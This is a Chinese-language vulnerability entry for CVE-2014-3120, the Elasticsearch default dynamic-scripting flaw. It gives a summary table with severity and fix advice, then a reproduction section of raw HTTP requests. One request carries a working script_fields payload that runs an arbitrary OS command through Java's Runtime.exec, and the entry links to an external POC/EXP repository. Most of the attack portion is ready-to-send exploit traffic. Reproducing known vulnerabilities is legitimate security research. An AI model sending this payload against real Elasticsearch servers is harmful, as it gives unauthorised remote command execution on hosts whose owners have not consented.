漏洞編號:CVE-2014-3120
漏洞詳情
| CVE編號 | CVE-2014-3120 | 漏洞級別 | 中危6.8 |
|---|---|---|---|
| 標題 | Elasticsearch默認配置允許動態(tài)腳本執(zhí)行漏洞 | 披露時間 | 2014/07/29 |
| 漏洞總結 | Elasticsearch 1.2版本及之前的默認配置啟用了動態(tài)腳本,攻擊者可以通過_search的source參數(shù)執(zhí)行任意MVEL表達式和Java代碼。需要注意的是,只有在用戶沒有在獨立的虛擬機中運行Elasticsearch時,這才違反了供應商的安全策略。 | ||
| 利用路徑 | NETWORK | 利用難度 | 一般8.6 |
| 影響產(chǎn)品 | elasticsearch | ||
| 解決方案 | 升級Elasticsearch到1.2.1以上版本,或禁用動態(tài)腳本功能。建議將Elasticsearch運行在一個獨立的虛擬機中,以增強安全性。 |
漏洞復現(xiàn)
添加一條數(shù)據(jù)
POST /website/blog/ HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
執(zhí)行命令
POST /_search?pretty HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\"id\\").getInputStream()).useDelimiter(\\"\\\\\\\\A\\").next();"
}
}
}
POC&EXP
github:POC-EXP/ElasticSearch 命令執(zhí)行漏洞 at main · twsec-pro/POC-EXP (github.com)
yakit:cc5908ae-5ea5-4060-8f15-1da729b3fb8c

2.gif